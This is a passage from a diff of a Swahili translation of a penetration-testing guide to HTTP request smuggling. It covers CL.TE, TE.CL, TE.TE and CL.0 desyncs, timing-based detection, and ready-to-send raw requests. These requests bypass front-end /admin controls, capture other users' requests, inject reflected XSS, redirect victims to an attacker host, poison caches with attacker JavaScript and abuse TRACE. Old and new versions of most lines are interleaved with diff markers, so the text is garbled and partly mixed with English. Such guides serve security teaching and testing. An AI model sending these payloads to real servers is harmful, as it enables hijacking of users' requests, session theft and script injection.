#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
#### Udhaifu wa CL.TE (Content-Length inayotumiwa na Front-End, Transfer-Encoding inayotumiwa na Back-End)
|
||||
|
||||
* **Front-End (CL):** Inasindika ombi kulingana na kichwa cha `Content-Length`.
|
||||
* **Back-End (TE):** Inasindika ombi kulingana na kichwa cha `Transfer-Encoding`.
|
||||
* **Front-End (CL):** Inashughulikia ombi kulingana na kichwa cha `Content-Length`.
|
||||
* **Back-End (TE):** Inashughulikia ombi kulingana na kichwa cha `Transfer-Encoding`.
|
||||
* **Kasi ya Shambulio:**
|
||||
* Mshambuliaji anatumia ombi ambapo thamani ya kichwa cha `Content-Length` haitosheani na urefu halisi wa maudhui.
|
||||
* Server ya front-end inapeleka ombi lote kwa back-end, kulingana na thamani ya `Content-Length`.
|
||||
* Server ya back-end inasindika ombi kama kipande kutokana na kichwa cha `Transfer-Encoding: chunked`, ikitafsiri data iliyobaki kama ombi tofauti, linalofuata.
|
||||
* Seva ya mbele inapeleka ombi lote kwa seva ya nyuma, kulingana na thamani ya `Content-Length`.
|
||||
* Seva ya nyuma inashughulikia ombi kama kipande kutokana na kichwa cha `Transfer-Encoding: chunked`, ikitafsiri data iliyobaki kama ombi tofauti, linalofuata.
|
||||
* **Mfano:**
|
||||
|
||||
```
|
||||
|
@ -87,14 +95,14 @@ GET /404 HTTP/1.1
|
|||
Foo: x
|
||||
```
|
||||
|
||||
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||
#### Udhaifu wa TE.CL (Transfer-Encoding inayotumiwa na Front-End, Content-Length inayotumiwa na Back-End)
|
||||
|
||||
* **Front-End (TE):** Inasindika ombi kulingana na kichwa cha `Transfer-Encoding`.
|
||||
* **Back-End (CL):** Inasindika ombi kulingana na kichwa cha `Content-Length`.
|
||||
* **Front-End (TE):** Inashughulikia ombi kulingana na kichwa cha `Transfer-Encoding`.
|
||||
* **Back-End (CL):** Inashughulikia ombi kulingana na kichwa cha `Content-Length`.
|
||||
* **Kasi ya Shambulio:**
|
||||
* Mshambuliaji anatumia ombi lililosambazwa ambapo ukubwa wa kipande (`7b`) na urefu halisi wa maudhui (`Content-Length: 4`) havikubaliani.
|
||||
* Server ya front-end, ikiheshimu `Transfer-Encoding`, inapeleka ombi lote kwa back-end.
|
||||
* Server ya back-end, ikiheshimu `Content-Length`, inasindika tu sehemu ya awali ya ombi (`7b` bytes), ikiacha iliyobaki kama sehemu ya ombi linalofuata lisilotarajiwa.
|
||||
* Mshambuliaji anatumia ombi la kipande ambapo ukubwa wa kipande (`7b`) na urefu halisi wa maudhui (`Content-Length: 4`) havikubaliani.
|
||||
* Seva ya mbele, ikiheshimu `Transfer-Encoding`, inapeleka ombi lote kwa seva ya nyuma.
|
||||
* Seva ya nyuma, ikiheshimu `Content-Length`, inashughulikia tu sehemu ya awali ya ombi (`7b` bytes), ikiacha iliyobaki kama sehemu ya ombi linalofuata lisilotarajiwa.
|
||||
* **Mfano:**
|
||||
|
||||
```
|
||||
|
@ -115,13 +123,13 @@ x=
|
|||
|
||||
```
|
||||
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
#### Udhaifu wa TE.TE (Transfer-Encoding inayotumiwa na zote, kwa kuficha)
|
||||
|
||||
* **Servers:** Zote zinasaidia `Transfer-Encoding`, lakini moja inaweza kudanganywa kuipuuza kupitia obfuscation.
|
||||
* **Seva:** Zote zinasaidia `Transfer-Encoding`, lakini moja inaweza kudanganywa kuipuuza kupitia kuficha.
|
||||
* **Kasi ya Shambulio:**
|
||||
* Mshambuliaji anatumia ombi lenye vichwa vya `Transfer-Encoding` vilivyojificha.
|
||||
* Kulingana na server ipi (front-end au back-end) inashindwa kutambua obfuscation, udhaifu wa CL.TE au TE.CL unaweza kutumika.
|
||||
* Sehemu isiyosindikwa ya ombi, kama inavyoonekana na moja ya servers, inakuwa sehemu ya ombi linalofuata, ikisababisha smuggling.
|
||||
* Mshambuliaji anatumia ombi lenye vichwa vya `Transfer-Encoding` vilivyofichwa.
|
||||
* Kulingana na seva ipi (ya mbele au ya nyuma) inashindwa kutambua kuficha, udhaifu wa CL.TE au TE.CL unaweza kutumiwa.
|
||||
* Sehemu isiyoshughulikiwa ya ombi, kama inavyoonekana na moja ya seva, inakuwa sehemu ya ombi linalofuata, ikisababisha smuggling.
|
||||
* **Mfano:**
|
||||
|
||||
```
|
||||
|
@ -141,10 +149,10 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||
#### **CL.CL Scenario (Content-Length inayotumiwa na zote Front-End na Back-End)**
|
||||
|
||||
* Servers zote zinashughulikia ombi kulingana na kichwa cha `Content-Length` pekee.
|
||||
* Hali hii kwa kawaida haipelekei smuggling, kwani kuna ulinganifu katika jinsi servers zote zinavyotafsiri urefu wa ombi.
|
||||
* Seva zote zinashughulikia ombi kulingana na kichwa cha `Content-Length` pekee.
|
||||
* Hali hii kwa kawaida haipelekei smuggling, kwani kuna ulinganifu katika jinsi seva zote zinavyotafsiri urefu wa ombi.
|
||||
* **Mfano:**
|
||||
|
||||
```
|
||||
|
@ -158,8 +166,8 @@ Normal Request
|
|||
|
||||
#### **CL.0 Scenario**
|
||||
|
||||
* Inarejelea hali ambapo kichwa cha `Content-Length` kinapatikana na kina thamani isiyo sifuri, ikionyesha kwamba mwili wa ombi una maudhui. Back-end inapuuzilia mbali kichwa cha `Content-Length` (ambacho kinachukuliwa kama 0), lakini front-end inakisoma.
|
||||
* Ni muhimu katika kuelewa na kutengeneza mashambulizi ya smuggling, kwani inaathiri jinsi servers zinavyotambua mwisho wa ombi.
|
||||
* Inahusisha hali ambapo kichwa cha `Content-Length` kiko na kina thamani isiyo sifuri, ikionyesha kwamba mwili wa ombi una maudhui. Seva ya nyuma inapuuzilia mbali kichwa cha `Content-Length` (ambacho kinachukuliwa kama 0), lakini seva ya mbele inakichambua.
|
||||
* Ni muhimu katika kuelewa na kutengeneza shambulio za smuggling, kwani inaathiri jinsi seva zinavyotambua mwisho wa ombi.
|
||||
* **Mfano:**
|
||||
|
||||
```
|
||||
|
@ -197,7 +205,7 @@ EMPTY_LINE_HERE
|
|||
|
||||
Teknolojia hii pia ni muhimu katika hali ambapo inawezekana **kuvunja seva ya wavuti wakati wa kusoma data ya awali ya HTTP** lakini **bila kufunga muunganisho**. Kwa njia hii, **mwili** wa ombi la HTTP utaonekana kama **ombio la HTTP linalofuata**.
|
||||
|
||||
Kwa mfano, kama ilivyoelezwa katika [**hiki andiko**](https://mizu.re/post/twisty-python), Katika Werkzeug ilikuwa inawezekana kutuma baadhi ya **Unicode** wahusika na itafanya seva **ivunje**. Hata hivyo, ikiwa muunganisho wa HTTP ulianzishwa na kichwa **`Connection: keep-alive`**, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo **mwili** wa ombi utaonekana kama **ombio la HTTP linalofuata**.
|
||||
Kwa mfano, kama ilivyoelezwa katika [**hiki andiko**](https://mizu.re/post/twisty-python), Katika Werkzeug ilikuwa inawezekana kutuma baadhi ya **Unicode** wahusika na itafanya seva **ivunjike**. Hata hivyo, ikiwa muunganisho wa HTTP ulianzishwa na kichwa **`Connection: keep-alive`**, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo **mwili** wa ombi utaonekana kama **ombio la HTTP linalofuata**.
|
||||
|
||||
#### Kulazimisha kupitia vichwa vya hop-by-hop
|
||||
|
||||
|
@ -213,9 +221,9 @@ For **maelezo zaidi kuhusu hop-by-hop headers** tembelea:
|
|||
|
||||
## Kupata HTTP Request Smuggling
|
||||
|
||||
Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanywa kwa kutumia mbinu za wakati, ambazo zinategemea kuangalia ni muda gani inachukua kwa seva kujibu maombi yaliyobadilishwa. Mbinu hizi ni muhimu hasa katika kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine ambazo zinaweza kutumika kupata udhaifu kama huo:
|
||||
Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanywa kwa kutumia mbinu za wakati, ambazo zinategemea kuangalia ni muda gani inachukua kwa seva kujibu maombi yaliyobadilishwa. Mbinu hizi ni muhimu sana katika kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine ambazo zinaweza kutumika kupata udhaifu kama huo:
|
||||
|
||||
### Kupata Udhaifu wa CL.TE kwa Kutumia Mbinu za Wakati
|
||||
### Kupata Udhaifu wa CL.TE Kwa Kutumia Mbinu za Wakati
|
||||
|
||||
* **Mbinu:**
|
||||
* Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
|
||||
|
@ -235,11 +243,11 @@ A
|
|||
* **Uchunguzi:**
|
||||
* Seva ya mbele inashughulikia ombi kulingana na `Content-Length` na kukata ujumbe mapema.
|
||||
* Seva ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haitafika, ikisababisha kuchelewesha.
|
||||
* **Dalili:**
|
||||
* **Viashiria:**
|
||||
* Timeout au ucheleweshaji mrefu katika majibu.
|
||||
* Kupokea kosa la 400 Bad Request kutoka kwa seva ya nyuma, wakati mwingine ikiwa na maelezo ya kina ya seva.
|
||||
|
||||
### Kupata Udhaifu wa TE.CL kwa Kutumia Mbinu za Wakati
|
||||
### Kupata Udhaifu wa TE.CL Kwa Kutumia Mbinu za Wakati
|
||||
|
||||
* **Mbinu:**
|
||||
* Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
|
||||
|
@ -264,7 +272,7 @@ X
|
|||
* **Uchambuzi wa Majibu Tofauti:**
|
||||
* Tuma toleo lililobadilishwa kidogo la ombi na uangalie ikiwa majibu ya seva yanatofautiana kwa njia isiyotarajiwa, ikionyesha tofauti ya uchambuzi.
|
||||
* **Kutumia Zana za Kiotomatiki:**
|
||||
* Zana kama vile Burp Suite's 'HTTP Request Smuggler' nyongeza zinaweza kujaribu kiotomatiki udhaifu hizi kwa kutuma aina mbalimbali za maombi yasiyo na uwazi na kuchambua majibu.
|
||||
* Zana kama vile Burp Suite's 'HTTP Request Smuggler' nyongeza zinaweza kujaribu kiotomatiki udhaifu hizi kwa kutuma aina mbalimbali za maombi yasiyo na maana na kuchambua majibu.
|
||||
* **Majaribio ya Tofauti za Content-Length:**
|
||||
* Tuma maombi yenye thamani tofauti za `Content-Length` ambazo hazilingani na urefu halisi wa maudhui na uangalie jinsi seva inavyoshughulikia tofauti hizo.
|
||||
* **Majaribio ya Tofauti za Transfer-Encoding:**
|
||||
|
@ -282,15 +290,15 @@ Wakati wa kupima udhaifu wa request smuggling kwa kuingilia maombi mengine, kumb
|
|||
* **URL na Vigezo Vinavyolingana:** Jaribu kutumia URLs na majina ya vigezo sawa kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kulinganisha haya kunapanua uwezekano kwamba maombi yote mawili yanashughulikiwa na seva moja, ambayo ni sharti la shambulio lililofanikiwa.
|
||||
* **Muda na Masharti ya Mbio:** Ombi la "kawaida", lililokusudiwa kugundua kuingilia kutoka kwa ombi la "shambulio", linashindana na maombi mengine ya programu yanayoendelea. Kwa hivyo, tuma ombi la "kawaida" mara moja baada ya ombi la "shambulio". Programu zenye shughuli nyingi zinaweza kuhitaji majaribio kadhaa kwa uthibitisho wa udhaifu.
|
||||
* **Changamoto za Usambazaji wa Mizigo:** Seva za mbele zinazofanya kazi kama wasambazaji wa mizigo zinaweza kugawa maombi kati ya mifumo mbalimbali ya nyuma. Ikiwa maombi ya "shambulio" na "kawaida" yanakutana kwenye mifumo tofauti, shambulio halitafanikiwa. Kipengele hiki cha usambazaji wa mizigo kinaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu.
|
||||
* **Athari zisizokusudiwa kwa Watumiaji:** Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (sio ombi la "kawaida" ulilotuma kwa ajili ya kugundua), hii inaonyesha kuwa shambulio lako limeathiri mtumiaji mwingine wa programu. Kujaribu mara kwa mara kunaweza kuharibu watumiaji wengine, hivyo inahitaji mbinu ya tahadhari.
|
||||
* **Athari zisizokusudiwa kwa Watumiaji:** Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (sio ombi la "kawaida" ulilotuma kwa ajili ya kugundua), hii inaonyesha kuwa shambulio lako limeathiri mtumiaji mwingine wa programu. Kujaribu mara kwa mara kunaweza kuharibu watumiaji wengine, hivyo inahitajika kuwa na mbinu ya tahadhari.
|
||||
|
||||
## Kutumia HTTP Request Smuggling
|
||||
|
||||
### Kupita Usalama wa Seva za Mbele kupitia HTTP Request Smuggling
|
||||
|
||||
Wakati mwingine, proxies za mbele zinaweka hatua za usalama, zikichunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kupitishwa kwa kutumia HTTP Request Smuggling, kuruhusu ufikiaji usioidhinishwa kwa maeneo yaliyopigwa marufuku. Kwa mfano, kufikia `/admin` kunaweza kuwa marufuku nje, huku proxy ya mbele ikizuia juhudi kama hizo. Hata hivyo, proxy hii inaweza kukosa kukagua maombi yaliyojumuishwa ndani ya ombi la HTTP lililosafirishwa, ikiacha pengo la kupita marufuku hizi.
|
||||
Wakati mwingine, proxies za mbele zinaweka hatua za usalama, zikichunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kupitishwa kwa kutumia HTTP Request Smuggling, kuruhusu ufikiaji usioidhinishwa kwa maeneo yaliyopigwa marufuku. Kwa mfano, kufikia `/admin` kunaweza kuwa marufuku nje, huku proxy ya mbele ikizuia juhudi kama hizo. Hata hivyo, proxy hii inaweza kukosa kuchunguza maombi yaliyojumuishwa ndani ya ombi la HTTP lililosafirishwa, ikiacha pengo la kupita marufuku hizi.
|
||||
|
||||
Fikiria mifano ifuatayo inayoonyesha jinsi HTTP Request Smuggling inaweza kutumika kupita udhibiti wa usalama wa mbele, hasa ikilenga njia ya `/admin` ambayo kwa kawaida inalindwa na proxy ya mbele:
|
||||
Fikiria mifano ifuatayo inayoonyesha jinsi HTTP Request Smuggling inaweza kutumika kupita hatua za usalama za mbele, hasa ikilenga njia ya `/admin` ambayo kwa kawaida inalindwa na proxy ya mbele:
|
||||
|
||||
**Mfano wa CL.TE**
|
||||
```
|
||||
|
@ -309,7 +317,7 @@ Content-Length: 10
|
|||
|
||||
x=
|
||||
```
|
||||
Katika shambulio la CL.TE, kichwa cha `Content-Length` kinatumika kwa ombi la awali, wakati ombi lililoingizwa linatumia kichwa cha `Transfer-Encoding: chunked`. Proxy ya mbele inashughulikia ombi la awali la `POST` lakini inashindwa kukagua ombi lililoingizwa la `GET /admin`, ikiruhusu ufikiaji usioidhinishwa wa njia ya `/admin`.
|
||||
Katika shambulio la CL.TE, kichwa cha `Content-Length` kinatumika kwa ombi la awali, wakati ombi lililo ndani linatumia kichwa cha `Transfer-Encoding: chunked`. Proxy ya mbele inashughulikia ombi la awali la `POST` lakini inashindwa kukagua ombi lililo ndani la `GET /admin`, ikiruhusu ufikiaji usioidhinishwa kwa njia ya `/admin`.
|
||||
|
||||
**TE.CL Mfano**
|
||||
```
|
||||
|
@ -331,7 +339,7 @@ Kinyume chake, katika shambulio la TE.CL, ombi la awali la `POST` linatumia `Tra
|
|||
|
||||
### Kufichua uandishi wa ombi la mbele <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Programu mara nyingi hutumia **seva ya mbele** kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Marekebisho ya kawaida yanajumuisha kuongeza vichwa, kama vile `X-Forwarded-For: <IP ya mteja>`, ili kupeleka IP ya mteja kwa seva ya nyuma. Kuelewa marekebisho haya kunaweza kuwa muhimu, kwani kunaweza kufichua njia za **kuzidi kulinda** au **kufichua taarifa au maeneo yaliyofichwa**.
|
||||
Programu mara nyingi hutumia **seva ya mbele** kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Marekebisho ya kawaida yanajumuisha kuongeza vichwa, kama vile `X-Forwarded-For: <IP ya mteja>`, ili kupeleka IP ya mteja kwa seva ya nyuma. Kuelewa marekebisho haya kunaweza kuwa muhimu, kwani kunaweza kufichua njia za **kuepuka ulinzi** au **kufichua taarifa au maeneo yaliyofichwa**.
|
||||
|
||||
Ili kuchunguza jinsi proxy inavyobadilisha ombi, pata parameter ya POST ambayo seva ya nyuma inarudisha katika jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwisho, kama ifuatavyo:
|
||||
```
|
||||
|
@ -350,11 +358,11 @@ Content-Length: 100
|
|||
|
||||
search=
|
||||
```
|
||||
Katika muundo huu, vipengele vya ombi vinavyofuata vinatolewa baada ya `search=`, ambayo ni parameter inayojitokeza katika jibu. Hii itafichua vichwa vya ombi la baadaye.
|
||||
Katika muundo huu, vipengele vya ombi vinavyofuata vinaongezwa baada ya `search=`, ambayo ni parameter inayojitokeza katika jibu. Hii itafichua vichwa vya ombi la baadaye.
|
||||
|
||||
Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililozungukwa na urefu halisi wa maudhui. Kuanzia na thamani ndogo na kuongeza taratibu inashauriwa, kwani thamani ya chini sana itakata data iliyojitokeza, wakati thamani ya juu sana inaweza kusababisha ombi kufeli.
|
||||
Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililo ndani na urefu halisi wa maudhui. Kuanzia na thamani ndogo na kuongezeka taratibu ni bora, kwani thamani ya chini sana itakata data iliyojitokeza, wakati thamani ya juu sana inaweza kusababisha ombi kufeli.
|
||||
|
||||
Teknolojia hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa newline, thamani zitajumuishwa kwenye parameter ya utafutaji.
|
||||
Tekniki hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa newline, thamani zitajumuishwa kwenye parameter ya utafutaji.
|
||||
|
||||
Njia hii hasa inatumika kuelewa mabadiliko ya ombi yaliyofanywa na proxy ya mbele, kimsingi ikifanya uchunguzi wa kujiongoza.
|
||||
|
||||
|
@ -384,7 +392,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
|
|||
```
|
||||
Katika hali hii, **parameta ya maoni** inakusudia kuhifadhi maudhui ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaopatikana kwa umma. Kwa hivyo, maudhui ya ombi linalofuata yataonekana kama maoni.
|
||||
|
||||
Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi kwenye kipimo cha parameta kilichotumika katika ombi lililosafirishwa. Kwa uwasilishaji wa fomu iliyohifadhiwa kwenye URL, kipimo hiki ni herufi `&`. Hii ina maana kwamba maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji waathirika yatakoma kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa swali.
|
||||
Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi kwenye kipimo cha parameta kilichotumika katika ombi lililosafirishwa. Kwa uwasilishaji wa fomu iliyo na URL-encoded, kipimo hiki ni herufi `&`. Hii ina maana kwamba maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji waathirika yatakoma kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa swali.
|
||||
|
||||
Zaidi ya hayo, inafaa kutaja kwamba mbinu hii pia inapatikana na udhaifu wa TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mstari mpya, thamani zitajumuishwa kwenye parameta ya utafutaji.
|
||||
|
||||
|
@ -420,7 +428,7 @@ This payload is structured to exploit the vulnerability by:
|
|||
|
||||
1. Kuanzisha ombi la `POST`, ambalo linaonekana kuwa la kawaida, lenye kichwa cha `Transfer-Encoding: chunked` kuashiria mwanzo wa smuggling.
|
||||
2. Kufuatia na `0`, ikionyesha mwisho wa ujumbe wa chunked.
|
||||
3. Kisha, ombi la smuggling `GET` linaanzishwa, ambapo kichwa cha `User-Agent` kinatolewa na script, `<script>alert(1)</script>`, ikichochea XSS wakati seva inashughulikia ombi hili linalofuata.
|
||||
3. Kisha, ombi la smuggled `GET` linaanzishwa, ambapo kichwa cha `User-Agent` kinachanganywa na script, `<script>alert(1)</script>`, ikichochea XSS wakati seva inashughulikia ombi hili linalofuata.
|
||||
|
||||
Kwa kubadilisha `User-Agent` kupitia smuggling, payload inakwepa vikwazo vya kawaida vya ombi, hivyo inatumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
|
||||
|
||||
|
@ -430,13 +438,13 @@ Kwa kubadilisha `User-Agent` kupitia smuggling, payload inakwepa vikwazo vya kaw
|
|||
Katika kesi ambapo maudhui ya mtumiaji yanarejelewa katika jibu lenye **`Content-type`** kama **`text/plain`**, kuzuia utekelezaji wa XSS. Ikiwa seva inasaidia **HTTP/0.9 inaweza kuwa inawezekana kupita hii**!
|
||||
{% endhint %}
|
||||
|
||||
Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na linatumia tu **GET** verbs na **halijibu** na **headers**, bali tu mwili.
|
||||
Toleo la HTTP/0.9 lilikuwa la awali kwa 1.0 na linatumia tu vitenzi vya **GET** na **halijibu** na **headers**, bali tu mwili.
|
||||
|
||||
Katika [**hii andiko**](https://mizu.re/post/twisty-python), hii ilitumiwa vibaya na smuggling ya ombi na **nukta ya hatari ambayo itajibu na maudhui ya mtumiaji** ili kusmuggle ombi na HTTP/0.9. Kigezo ambacho kitarejelewa katika jibu kilikuwa na **jibu bandia la HTTP/1.1 (pamoja na headers na mwili)** hivyo jibu litakuwa na msimbo wa JS unaoweza kutekelezwa kwa `Content-Type` ya `text/html`.
|
||||
Katika [**hii andiko**](https://mizu.re/post/twisty-python), hii ilitumiwa vibaya na smuggling ya ombi na **nukta ya hatari ambayo itajibu na maudhui ya mtumiaji** ili kusmuggle ombi na HTTP/0.9. Kigezo ambacho kitarejelewa katika jibu kilikuwa na **jibu bandia la HTTP/1.1 (pamoja na headers na mwili)** hivyo jibu litakuwa na msimbo wa JS unaoweza kutekelezwa wenye `Content-Type` wa `text/html`.
|
||||
|
||||
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Mifumo mara nyingi hupeleka kutoka URL moja hadi nyingine kwa kutumia jina la mwenyeji kutoka kichwa cha `Host` katika URL ya kupeleka. Hii ni ya kawaida na seva za wavuti kama Apache na IIS. Kwa mfano, kuomba folda bila slash ya mwisho kunasababisha kupelekwa kuhusisha slash:
|
||||
Mifumo mara nyingi hupeleka kutoka URL moja hadi nyingine kwa kutumia jina la mwenyeji kutoka kichwa cha `Host` katika URL ya kupeleka. Hii ni ya kawaida na seva za wavuti kama Apache na IIS. Kwa mfano, kuomba folda bila slash ya mwisho kunasababisha kupelekwa ili kujumuisha slash:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
|
@ -460,7 +468,7 @@ GET /home HTTP/1.1
|
|||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
Hii ombi lililosafirishwa linaweza kusababisha ombi la mtumiaji linalofuatia kushughulikiwa kuhamasishwa kwenye tovuti inayodhibitiwa na mshambuliaji:
|
||||
Hii ombi lililosafirishwa linaweza kusababisha ombi la mtumiaji linalofuatia kushughulikiwa kuelekezwa kwenye tovuti inayodhibitiwa na mshambuliaji:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
|
@ -472,17 +480,17 @@ Matokeo katika:
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
Katika hali hii, ombi la mtumiaji la faili la JavaScript linachukuliwa. Mshambuliaji anaweza kuathiri mtumiaji kwa kutoa JavaScript mbaya kama jibu.
|
||||
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
|
||||
|
||||
### Kutumia Upoisonaji wa Kivinjari cha Mtandao kupitia HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Upoisonaji wa kivinjari cha mtandao unaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele inahifadhi maudhui**, kawaida ili kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana **kuponya kivinjari**.
|
||||
Web cache poisoning can be executed if any component of the **front-end infrastructure caches content**, typically to enhance performance. By manipulating the server's response, it's possible to **poison the cache**.
|
||||
|
||||
Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (rejelea [Mifano ya Msingi](./#basic-examples)). Vivyo hivyo, inawezekana kudanganya seva kutoa maudhui ya `/index.html` kama jibu la ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanabadilishwa katika kivinjari na yale ya `/index.html`, na kufanya `/static/include.js` isiweze kupatikana kwa watumiaji, ambayo inaweza kusababisha Denial of Service (DoS).
|
||||
Previously, we observed how server responses could be altered to return a 404 error (refer to [Basic Examples](./#basic-examples)). Similarly, it’s feasible to trick the server into delivering `/index.html` content in response to a request for `/static/include.js`. Consequently, the `/static/include.js` content gets replaced in the cache with that of `/index.html`, rendering `/static/include.js` inaccessible to users, potentially leading to a Denial of Service (DoS).
|
||||
|
||||
Teknolojia hii inakuwa na nguvu hasa ikiwa kuna **udhaifu wa Open Redirect** ulio gundulika au ikiwa kuna **mwelekeo wa ndani kwa mwelekeo wazi**. Udhaifu kama huu unaweza kutumiwa kubadilisha maudhui yaliyohifadhiwa ya `/static/include.js` na script chini ya udhibiti wa mshambuliaji, kwa msingi inaruhusu shambulio la Cross-Site Scripting (XSS) dhidi ya wateja wote wanaotafuta `/static/include.js` iliyosasishwa.
|
||||
This technique becomes particularly potent if an **Open Redirect vulnerability** is discovered or if there's an **on-site redirect to an open redirect**. Such vulnerabilities can be exploited to replace the cached content of `/static/include.js` with a script under the attacker's control, essentially enabling a widespread Cross-Site Scripting (XSS) attack against all clients requesting the updated `/static/include.js`.
|
||||
|
||||
Hapa chini kuna mfano wa kutumia **upoisonaji wa kivinjari pamoja na mwelekeo wa ndani kwa mwelekeo wazi**. Lengo ni kubadilisha maudhui ya kivinjari ya `/static/include.js` ili kutoa msimbo wa JavaScript unaodhibitiwa na mshambuliaji:
|
||||
Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
|
@ -528,7 +536,7 @@ Ikiwa ombi hili lililosafirishwa linachafua kipengee cha cache kilichokusudiwa k
|
|||
|
||||
### Kutumia TRACE kupitia HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**Katika chapisho hili**](https://portswigger.net/research/trace-desync-attack) inapendekezwa kwamba ikiwa seva ina njia ya TRACE iliyoanzishwa inaweza kuwa inawezekana kuitumia vibaya na HTTP Request Smuggling. Hii ni kwa sababu njia hii itarudisha kichwa chochote kilichotumwa kwa seva kama sehemu ya mwili wa jibu. Kwa mfano:
|
||||
[**Katika chapisho hili**](https://portswigger.net/research/trace-desync-attack) inapendekezwa kwamba ikiwa seva ina njia ya TRACE iliyoanzishwa inaweza kuwa inawezekana kuitumia vibaya na HTTP Request Smuggling. Hii ni kwa sababu njia hii itarejesha kichwa chochote kilichotumwa kwa seva kama sehemu ya mwili wa jibu. Kwa mfano:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
|
@ -545,17 +553,17 @@ Host: vulnerable.com
|
|||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent data**.\
|
||||
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
|
||||
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
|
||||
Mfano wa jinsi ya kutumia tabia hii ungekuwa **kuficha kwanza ombi la HEAD**. Ombi hili litajibiwa kwa **vichwa** vya ombi la GET (**`Content-Type`** miongoni mwao). Na kuficha **moja kwa moja baada ya HEAD ombi la TRACE**, ambalo litakuwa **linarejelea data iliyotumwa**.\
|
||||
Kwa kuwa jibu la HEAD litakuwa na kichwa cha `Content-Length`, **jibu la ombi la TRACE litachukuliwa kama mwili wa jibu la HEAD, hivyo kuonyesha data isiyo na mipaka** katika jibu.\
|
||||
